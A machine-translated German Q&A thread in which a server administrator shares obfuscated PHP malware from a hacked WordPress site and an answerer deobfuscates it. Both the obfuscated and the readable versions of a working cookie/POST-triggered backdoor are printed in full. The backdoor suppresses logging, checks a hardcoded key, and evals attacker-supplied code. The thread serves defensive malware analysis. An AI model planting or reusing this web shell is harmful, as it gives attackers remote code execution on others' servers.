2016-05-04 7 views
-5

Einer meiner Kunden Wordpress mit einigen bösartigen Code gehackt wurde mit wie unten, Es gibt viele Datei wie folgt in der ganzen ihr public_html. Obwohl ich ihr alles löschen erzählt und neu laden alle und Update-Framework, Plugins usw., aber ich möchte auch wissen, wie kann ich die Codes de-verschleiernVerschleiern Skript in Wordpress

Warum? Weil mein VPS-Provider mir sagte, dass ein Hacker-Versuch mit meiner IP (Hauptserver) zu einigen Nachrichtenkanälen gemacht wurde und ich von diesen Aktivitäten abhalten sollte oder sie meinen VPS einfach abbrechen.

So könnte jemand mich leiten genauen Code zu wissen, so kann ich analysieren, welche Art von Harms es getan werden.

Bitte beachten Sie, ich habe Jail-Shell, CSF, blockiert IP immer noch es findet einen Weg.

<?php  
$GLOBALS['efaa04'] = "\x3e\x9\x2c\x46\x67\x37\x52\x32\x7d\x53\x6c\x7b\x61\x29\x6e\x68\x4f\x3f\x40\x50\x3d\x71\x6a\x54\x30\x76\x59\x25\x2b\x73\x2d\x28\x7c\x66\x23\x65\x5d\x58\x5a\x22\x64\x33\x57\x69\x5b\x63\x26\x4b\x51\x78\x4e\x2e\x62\x35\x7e\x5c\x42\x45\x47\x31\x36\x2a\x3a\x4a\x6f\x77\x5f\x39\x21\xa\x2f\x75\x41\x79\x4d\x55\x5e\x7a\x34\x44\x48\xd\x3c\x20\x49\x60\x74\x24\x4c\x43\x27\x6d\x56\x72\x70\x6b\x38\x3b"; 

$GLOBALS[$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][12]] = $GLOBALS['efaa04'][45].$GLOBALS['efaa04'][15].$GLOBALS['efaa04'][93]; 

$GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][24]] = $GLOBALS['efaa04'][64].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][40]; 

$GLOBALS[$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][96]] = $GLOBALS['efaa04'][29].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][14]; 
$GLOBALS[$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53]] = $GLOBALS['efaa04'][43].$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][86]; 
$GLOBALS[$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][67]] = $GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][77].$GLOBALS['efaa04'][35]; 
$GLOBALS[$GLOBALS['efaa04'][73].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][60]] = $GLOBALS['efaa04'][94].$GLOBALS['efaa04'][15].$GLOBALS['efaa04'][94].$GLOBALS['efaa04'][25].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][29].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][14]; 
$GLOBALS[$GLOBALS['efaa04'][15].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][96]] = $GLOBALS['efaa04'][71].$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][77].$GLOBALS['efaa04'][35]; 
$GLOBALS[$GLOBALS['efaa04'][22].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][40]] = $GLOBALS['efaa04'][52].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][35]; 
$GLOBALS[$GLOBALS['efaa04'][73].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][35]] = $GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][86]; 
$GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][60]] = $GLOBALS['efaa04'][21].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][59]; 
$GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][45]] = $GLOBALS['efaa04'][14].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59]; 
$GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][33]] = $_POST; 
$GLOBALS[$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][33]] = $_COOKIE; 
@$GLOBALS[$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53]]($GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][4], NULL); 
@$GLOBALS[$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53]]($GLOBALS['efaa04'][10].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][4].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][29], 0); 
@$GLOBALS[$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53]]($GLOBALS['efaa04'][91].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][35], 0); 
@$GLOBALS[$GLOBALS['efaa04'][73].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][35]](0); 

$n1f035 = NULL; 
$la02268b = NULL; 

$GLOBALS[$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][59]] = $GLOBALS['efaa04'][78].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][33]; 
global $ea0d31; 

function n6ee1($n1f035, $f3ddc0) 
{ 
    $kdaf = ""; 

    for ($v40207=0; $v40207<$GLOBALS[$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][96]]($n1f035);) 
    { 
     for ($w6efcf7b=0; $w6efcf7b<$GLOBALS[$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][96]]($f3ddc0) && $v40207<$GLOBALS[$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][96]]($n1f035); $w6efcf7b++, $v40207++) 
     { 
      $kdaf .= $GLOBALS[$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][12]]($GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][24]]($n1f035[$v40207])^$GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][24]]($f3ddc0[$w6efcf7b])); 
     } 
    } 

    return $kdaf; 
} 

function q471($n1f035, $f3ddc0) 
{ 
    global $ea0d31; 

    return $GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][45]]($GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][45]]($n1f035, $ea0d31), $f3ddc0); 
} 

foreach ($GLOBALS[$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][33]] as $f3ddc0=>$tf250bbad) 
{ 
    $n1f035 = $tf250bbad; 
    $la02268b = $f3ddc0; 
} 

if (!$n1f035) 
{ 
    foreach ($GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][33]] as $f3ddc0=>$tf250bbad) 
    { 
     $n1f035 = $tf250bbad; 
     $la02268b = $f3ddc0; 
    } 
} 

$n1f035 = @$GLOBALS[$GLOBALS['efaa04'][15].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][96]]($GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][60]]($GLOBALS[$GLOBALS['efaa04'][22].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][40]]($n1f035), $la02268b)); 
if (isset($n1f035[$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][95]]) && $ea0d31==$n1f035[$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][95]]) 
{ 
    if ($n1f035[$GLOBALS['efaa04'][12]] == $GLOBALS['efaa04'][43]) 
    { 
     $v40207 = Array(
      $GLOBALS['efaa04'][94].$GLOBALS['efaa04'][25] => @$GLOBALS[$GLOBALS['efaa04'][73].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][60]](), 
      $GLOBALS['efaa04'][29].$GLOBALS['efaa04'][25] => $GLOBALS['efaa04'][59].$GLOBALS['efaa04'][51].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][59], 
     ); 
     echo @$GLOBALS[$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][67]]($v40207); 
    } 
    elseif ($n1f035[$GLOBALS['efaa04'][12]] == $GLOBALS['efaa04'][35]) 
    { 
     eval($n1f035[$GLOBALS['efaa04'][40]]); 
    } 
    exit(); 
} 

Versuchte es mit http://localhost/script.php?testGet=sss zu dekodieren und

Array 
(
    [_GET] => Array 
     (
      [testGet] => sss 
     ) 

    [_POST] => Array 
     (
     ) 

    [_COOKIE] => Array 
     (
     ) 

    [_FILES] => Array 
     (
     ) 

    [GLOBALS] => Array 
*RECURSION* 
    [efaa04] => > ,Fg7R2}Sl{a)[email protected]=qjT0vY%+s-(|f#e]XZ"d3Wi[c&KQxN.b5~\BEG16*:Jow_9! 
/uAyMU^z4DH 
< I`t$LC'mVrpk8; 
    [m56df3a] => chr 
    [ue8410] => ord 
    [x6a870c8] => strlen 
    [rfa65] => ini_set 
    [ne6255ab9] => serialize 
    [y648d6] => phpversion 
    [h8f865758] => unserialize 
    [j51e1d] => base64_decode 
    [y8512e] => set_time_limit 
    [t4193646] => q471 
    [t297c] => n6ee1 
    [uaf6e192f] => Array 
     (
     ) 

    [mb1694f] => Array 
     (
     ) 

    [n1f035] => 
    [la02268b] => 
    [ea0d31] => 435a677a-8b6e-4dc3-92e9-b2746832025f 
) 

got here 
got not set n1f035 
got q471string(0) "" 
got n6ee1 : => 435a677a-8b6e-4dc3-92e9-b2746832025f 
strlen 
NULL string(0) "" 
got n6ee1 : => 
strlen 
NULL string(0) "" string(0) "" 
got n6ee1 : => 435a677a-8b6e-4dc3-92e9-b2746832025f 
strlen 
NULL string(0) "" 
got n6ee1 : => 
strlen 
NULL bool(false) 

ich gesagt habe meinen Klienten führen habe sie alle Dateien und erneuten Upload aus dem Backup zu löschen. Wie ich schon sagte ich habe so viele C99madshell (roh) gefunden, ist diese Art der gleichen in der Verschleierung Weise.

Bitte beachten Sie, dass ich eine Methode zum Schutz gefunden habe, indem ich schädlichen Code suche und lösche. Führen Sie dann einen Befehl wie chattr -R +i ./public_html dann scheint es gestoppt, aber ich bin sicher, es gibt viele Backdoor-Skripte noch drinnen. aber wenn ich den genauen Code von oben wüsste wäre es besser.

+0

Ich habe keine Ahnung, wie man entschleiert, aber diese Zeile ist der Befehl: 'eval ($ n1f035 [$ GLOBALS ['efaa04'] [40]]);' Versuchen Sie es zu entleeren. – vaso123

+0

Was passiert, wenn Sie diesen schädlichen Code einfach löschen? Es kommt zurück? Ich wurde letzte Woche gehackt, und sie haben es geschafft, mich dazu zu bringen, ein gefälschtes Plugin zu installieren, also überprüfe deine Plugin-Liste ... (irgendein "Eval" ist Teufel). Sie können auch "Wordfence" verwenden, um Ihre wp zu schützen ... – Random

+0

@lolka_bolka Ich habe versucht, es zu dumpen, aber es scheint, dass bestimmte Code-Block nicht ausgeführt wird .... und $ n1f035 scheint zu haben (bool) false – farness

Antwort

0

Ich stimme mit @Epodax überein, SO ist keine Sicherheitsberatungsseite, aber ich denke, dass die Diskussion um die Entschleierung angemessen ist und viele Menschen viel lernen könnten - davon.

Ich konnte immer noch nicht herausfinden, was das Skript tut, langsam daran zu arbeiten, wie ich Freizeit zu finden, aber möchte, dass meine bisherigen Fortschritte sowieso teilen.

Zuerst habe ich Psysh, an interactive PHP shell verwendet, um alle diese Verkettungen von $GLOBALS['efaa04'] Elemente abzurufen und das Leben zu erleichtern. Starten Sie einfach die erste Zeile $GLOBALS['efaa04'] = "\x3e\x9\x2c\x46\x67\x37\x52\x32\x7d\x53\x6c\x7b\x61\x29\x6e\x68\x4f\x3f\x40\x50\x3d\x71\x6a\x54\x30\x76\x59\x25\x2b\x73\x2d\x28\x7c\x66\x23\x65\x5d\x58\x5a\x22\x64\x33\x57\x69\x5b\x63\x26\x4b\x51\x78\x4e\x2e\x62\x35\x7e\x5c\x42\x45\x47\x31\x36\x2a\x3a\x4a\x6f\x77\x5f\x39\x21\xa\x2f\x75\x41\x79\x4d\x55\x5e\x7a\x34\x44\x48\xd\x3c\x20\x49\x60\x74\x24\x4c\x43\x27\x6d\x56\x72\x70\x6b\x38\x3b"; und dann gehen Sie zu den Teilen, die diese Array-Elemente verwenden, um herauszufinden, was sie bedeuten.

Einige Zeilen wie diese offenbart:

$GLOBALS["x6a870c8"] = "strlen"; 
$GLOBALS["rfa65"] = "ini_set"; 
$GLOBALS["ne6255ab9"] = "serialize"; 
$GLOBALS["y648d6"] = "phpversion"; 
$GLOBALS["h8f865758"] = "unserialize"; 
... 

Danach habe ich $GLOBALS["x6a870c8"] mit strlen ersetzt, $GLOBALS["rfa65"] mit ini_set und so weiter, und das ist, was ich bisher habe:

<?php  
@ini_set("error_log", NULL); 
@ini_set("log_errors", 0); 
@ini_set("max_execution_time", 0); 
@set_time_limit(0); 

$n1f035 = NULL; 
$la02268b = NULL; 

$GLOBALS["ea0d31"] = "435a677a-8b6e-4dc3-92e9-b2746832025f"; 
global $ea0d31; 

function n6ee1($n1f035, $f3ddc0) 
{ 
    $kdaf = ""; 

    for ($v40207=0; $v40207 < strlen($n1f035);) 
    { 
     for ($w6efcf7b=0; $w6efcf7b < strlen($f3ddc0) && $v40207 < strlen($n1f035); $w6efcf7b++, $v40207++) 
     { 
      $kdaf .= chr(ord($n1f035[$v40207])^ord($f3ddc0[$w6efcf7b])); 
     } 
    } 

    return $kdaf; 
} 

function q471($n1f035, $f3ddc0) 
{ 
    global $ea0d31; 

    return n6ee1(n6ee1($n1f035, $ea0d31), $f3ddc0); 
} 

foreach ($_COOKIE as $f3ddc0=>$tf250bbad) 
{ 
    $n1f035 = $tf250bbad; 
    $la02268b = $f3ddc0; 
} 

if (!$n1f035) 
{ 
    foreach ($_POST as $f3ddc0=>$tf250bbad) 
    { 
     $n1f035 = $tf250bbad; 
     $la02268b = $f3ddc0; 
    } 
} 

$n1f035 = @unserialize(q471(base64_decode($n1f035), $la02268b)); 
if (isset($n1f035["ak"]) && $ea0d31==$n1f035["ak"]) 
{ 
    if ($n1f035["a"] == "i") 
    { 
     $v40207 = Array(
      "pv" => @phpversion(), 
      "sv" => "1.0-1", 
     ); 
     echo @serialize($v40207); 
    } 
    elseif ($n1f035["a"] == "e") 
    { 
     eval($n1f035["d"]); 
    } 
    exit(); 
} 

De- Verschleierung kann hart oder lustig sein, es hängt von Ihrer Sichtweise ab. Stellen Sie sich das wie ein Puzzle vor. Die nächsten Schritte sind das Aufräumen, das Umbenennen von Vars und Funktionen in freundlichere Dinge und so weiter.

Fixing Sie Kunden vor Ort und hält es sicher ist, Ihre Hausaufgaben, aber ich freue mich darauf, für eine Diskussion um de-Verschleierung und Techniken, dies zu tun.

Ein Tipp: Verwenden Sie find . -type f -printf '%[email protected] %TY-%Tm-%Td %TH:%TM:%.2TS %p\n' | sort -nr | head -n 25 | cut -f2- -d" " die 25 neuesten geänderten Dateien auf dem Server aufzulisten. Sie können die Anzahl erhöhen, wenn Sie möchten. Ich nehme an, die infizierten Dateien haben sich am selben Tag geändert, oder zumindest die Schlusstermine, damit die Unordnung beseitigt wird, wenn man die Dinge im Moment nicht einfach säubern kann.

+0

Vielen Dank @Paulera ... Zwei Dinge, die ich im Sinn habe ... 1. Diese Datei nur ein Cluster, 3 oder 4 dieser Art von Datei kann zusammen arbeiten 2. Es kann nur Befehl der Benutzerauswahl von GET ausführen, POST usw. ... und nochmals vielen Dank für deinen Tipp ... aber wenn ein Body einen Touch-Befehl ausführt, um das Timing der Datei zu ändern, wird es trotzdem funktionieren? – farness

+0

Ich frage mich sogar, es gibt einige clientseitige Teil beteiligt, da $ _COOKIES verwendet wird. Ich freue mich darauf, tiefer hinein zu graben. Und ja, wenn Sie die Datei nur "anfassen", wird sie mit diesem Befehl wie zuletzt geändert. –

+0

ist es eine große Hilfe in der Tat – farness